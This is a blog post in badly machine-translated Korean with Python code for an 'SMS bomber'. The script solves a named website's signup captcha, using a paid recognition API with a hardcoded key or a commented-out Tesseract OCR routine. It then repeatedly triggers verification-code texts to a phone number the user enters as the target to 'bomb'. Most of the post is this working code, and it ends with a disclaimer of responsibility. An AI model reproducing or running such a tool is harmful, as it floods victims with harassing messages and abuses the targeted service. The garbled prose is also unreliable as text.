작은 비디오를 브러시 플랫폼 확인 코드가 꽤 많이, 메시지를 희롱 전송하여 사람을 찾은 다음 내가 시도하는 페이지를 열었습니다.
사실, 기술은 주로 후, 어렵지 않다 후 전화 확인 코드를 괴롭 히 보낼 양식을 제출합니다.
우리는 키와 검증 사진을 얻을 수 있도록이 정보를 얻을 수있는 점 확인 코드입니다.
이를 통해 우리는 다음, 확인 코드를 저장 메시지를 괴롭 히 보내 다시 다시 사진, 그러한 행동을보고 확인 코드를 매번 입력 할 수 있습니다
, 그러나 이것은 완전히 정신 지체 동작입니다, 너무 많은 문제가있다. 이 코드가 자동으로 식별 할 수 없습니다 수있을 것 같아요 그래서, 첫번째 생각은 pytesseract이지만, 시험은 약간의 인식이 매우 가난, 열 배는 더 하나가 성공적으로 전송 수 있습니다 발견했다. 그런 다음 웹 사이트의 자동 식별 코드를하려고 이동, 다시 시도하십시오.
주요 그리는 사이트 식별 이 블로그의
그럼 그냥 그것을 시도 10 번 성공적으로 여러 번
코드
내가 전에 내이 부분은 pytesseract을 가진 제품은 또한 유지 썼다
import requests
import json
import pytesseract
from time import sleep
from collections import defaultdict
from PIL import Image, ImageDraw
import sys, os
import base64
# tessdata_dir_config = '--tessdata-dir "c:/Program Files (x86)/Tesseract-OCR/tessdata"'
#
# # 获取图片中像素点数量最多的像素
# def get_threshold(image):
# pixel_dict = defaultdict(int)
#
# # 像素及该像素出现次数的字典
# rows, cols = image.size
# for i in range(rows):
# for j in range(cols):
# pixel = image.getpixel((i, j))
# pixel_dict[pixel] += 1
#
# count_max = max(pixel_dict.values()) # 获取像素出现出多的次数
# pixel_dict_reverse = {v:k for k,v in pixel_dict.items()}
# threshold = pixel_dict_reverse[count_max] # 获取出现次数最多的像素点
#
# return threshold
#
# # 按照阈值进行二值化处理
# # threshold: 像素阈值
# def get_bin_table(threshold):
# # 获取灰度转二值的映射table
# table = []
# for i in range(256):
# rate = 0.1 # 在threshold的适当范围内进行处理
# if threshold*(1-rate)<= i <= threshold*(1+rate):
# table.append(1)
# else:
# table.append(0)
# return table
#
# # 去掉二值化处理后的图片中的噪声点
# def cut_noise(image):
#
# rows, cols = image.size # 图片的宽度和高度
# change_pos = [] # 记录噪声点位置
#
# # 遍历图片中的每个点,除掉边缘
# for i in range(1, rows-1):
# for j in range(1, cols-1):
# # pixel_set用来记录该店附近的黑色像素的数量
# pixel_set = []
# # 取该点的邻域为以该点为中心的九宫格
# for m in range(i-1, i+2):
# for n in range(j-1, j+2):
# if image.getpixel((m, n)) != 1: # 1为白色,0位黑色
# pixel_set.append(image.getpixel((m, n)))
#
# # 如果该位置的九宫内的黑色数量小于等于4,则判断为噪声
# if len(pixel_set) <= 4:
# change_pos.append((i,j))
#
# # 对相应位置进行像素修改,将噪声处的像素置为1(白色)
# for pos in change_pos:
# image.putpixel(pos, 1)
#
# return image # 返回修改后的图片
#
# # 识别图片中的数字加字母
# # 传入参数为图片路径,返回结果为:识别结果
# def OCR_lmj(img_path):
# image = Image.open(img_path) # 打开图片文件
# imgry = image.convert('L') # 转化为灰度图
# width=imgry.size[0]*4
# length=imgry.size[1]*4
# image = image.resize((width, length), Image.ANTIALIAS)
# imgry=imgry.resize((width,length),Image.ANTIALIAS)
# #image.show()
# #imgry.show()
# # 获取图片中的出现次数最多的像素,即为该图片的背景
# max_pixel = get_threshold(imgry)
#
# # 将图片进行二值化处理
# # 注意,是否使用二值化要看具体情况,有些图片二值化之后,可能关键信息会丢失,反而识别不出来
# table = get_bin_table(threshold=70)
# out = imgry.point(table, '1')
#
# # 去掉图片中的噪声(孤立点)
# out = cut_noise(out)
#
# #保存图片
# out.save('./变换后验证码.jpg')
#
# # 仅识别图片中的数字
# #text = pytesseract.image_to_string(out, config='digits')
# # 识别图片中的数字和字母
# text = pytesseract.image_to_string(out,config='--psm 7')
#
# # 去掉识别结果中的特殊字符
# exclude_char_list = ' .:\\|\'\"?![],()~@#$%^&*_+-={};<>/¥'
# text = ''.join([x for x in text if x not in exclude_char_list])
# #print(text)
# return text
# 识别验证码
def verify_code(base64_str):
appkey = "d33906c525ed719b751c1b40f953816c"
verify_code_juhe_url = "http://op.juhe.cn/vercode/index"
print("开始上传云打码")
url = verify_code_juhe_url
params = {
"key": appkey,
"codeType": "1004",
"base64Str": base64_str,
"dtype": "json"
}
try:
res = requests.post(url=url, params=params, timeout=60)
res = json.loads(res.text)
except Exception:
print("上传云打码失败!!!")
else:
print("上传云打码成功!!!")
return res['result']
def get_params():
response=requests.get("http://www.demlution.com/dapi/verification_code/get_captcha",headers=headers)
res=list(eval(response.text).values())
key=res[0]
img=res[1]
return key,img
def get_image(img):
bs=''
html = requests.get("http://www.demlution.com"+img, headers=headers)
if html.status_code == 200:
bs = base64.b64encode(html.content)
with open( "./%s.jpg" %("验证码"), "wb") as f:
f.write(html.content)
f.close()
return bs
def send(code,mykey):
#ensure_ascii=False
r=requests.post('http://www.demlution.com/dapi/verification_code/send_demlution_signup_code',
data=json.dumps({"mobile":tel_num,"challenge":code,"key":mykey,"type": "signup"}),
headers=headers)
print(r.text)
def main():
mykey, img = get_params()
mykey = str(mykey)
print(mykey)
bs=get_image(img)
code=verify_code(bs)
code=str(code).upper()
print(code)
sleep(2)
send(code,mykey)
if __name__ == '__main__':
tessdata_dir_config = '--tessdata-dir "c://Program Files (x86)//Tesseract-OCR//tessdata"'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
'Cookie': 'da_a=f3d3831b018a4f5ebf27d8f746332044',
'Referer': 'http://www.demlution.com/'
}
tel_num = input("请输入要轰炸的手机号码:")
for i in range(5):
main()
결과 :
내가 실행하면, 나는 엉망이 될 것입니다. 난 그냥 매우 화가 한 후 다음 다이어그램입니다 테스트 사용자 충족
키 : 이것은 정말 괴롭 사람이하지 않는, 함께 놀이를하고, 나는 결과에 대해 책임을지지 않습니다 해요, 제가 사과 돌진 할 말을하지 않습니다